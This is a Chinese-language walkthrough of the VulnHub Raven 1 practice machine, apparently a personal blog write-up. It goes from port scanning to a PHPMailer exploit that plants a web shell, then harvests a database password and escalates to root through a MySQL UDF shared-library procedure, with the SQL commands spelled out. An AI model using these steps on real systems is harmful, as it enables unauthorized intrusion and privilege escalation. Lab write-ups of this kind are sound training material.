前言
⏰时间:2023.7.21
🗺️靶机地址:https://www.vulnhub.com/entry/raven-1,256/
⚠️文中涉及操作均在靶机模拟环境中完成,切勿未经授权用于真实环境。
🙏本人水平有限,如有错误望指正,感谢您的查阅!
🎉欢迎关注🔍点赞👍收藏⭐️留言📝
信息收集
发现主机:nmap -sn
探测开放端口:masscan --rate=100000 -p 1-65535 192.168.58.155
探测服务:nmap -sS -A -T5 -p 22,80,111,44716 192.168.58.155
扫目录发现http://192.168.58.155/vendor/
查看VERSION
漏洞利用
修改40974.py
访问contact.php,在去访问http://192.168.58.155/haha.php即可上线
开启稳定shell
python -c 'import pty;pty.spawn("/bin/bash")'
/var/www/flag2.txt
进入wordpress发现wp-config.php,存在数据库账号密码 R@v3nSecurity
UDF提权
1. 账号是否具有insert权限 (以root账号为佳)
2. 看是否具有写入条件
mysql> show variables like '%secure%';
show variables like '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
当secure_file_priv为NULL时,不允许导入导出,无法提权
当secure_file_priv为/tmp时,只允许在/tmp目录下导入导出
当secure_file_priv为空时,不限制,可以提权
3.查看插件目录:
show variables like '%plugin%';
+---------------+------------------------+
| Variable_name | Value |
+---------------+------------------------+
| plugin_dir | /usr/lib/mysql/plugin/ |
+---------------+------------------------+
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹
用sqlmap中的cloak.py -d -i lib_mysqludf_sys.so_
生成lib_mysqludf_sys.so,传到目标/tmp目录,名字改exp.so
use mysql;
create table foo(line blob); #创建foo表,包含line这列可存放大型二进制数据
insert into foo values(load_file('/tmp/exp.so')); #将exp.so存入
select * from foo into dumpfile '/usr/lib/mysql/plugin/exp.so'; #再导入到plugin中
create function sys_eval returns string soname 'exp.so'; #创建提权方法sys_eval
select sys_eval('whoami'); # 执行系统命令
select sys_eval('ls /root');
select sys_eval('find / -name flag* 2>/dev/null');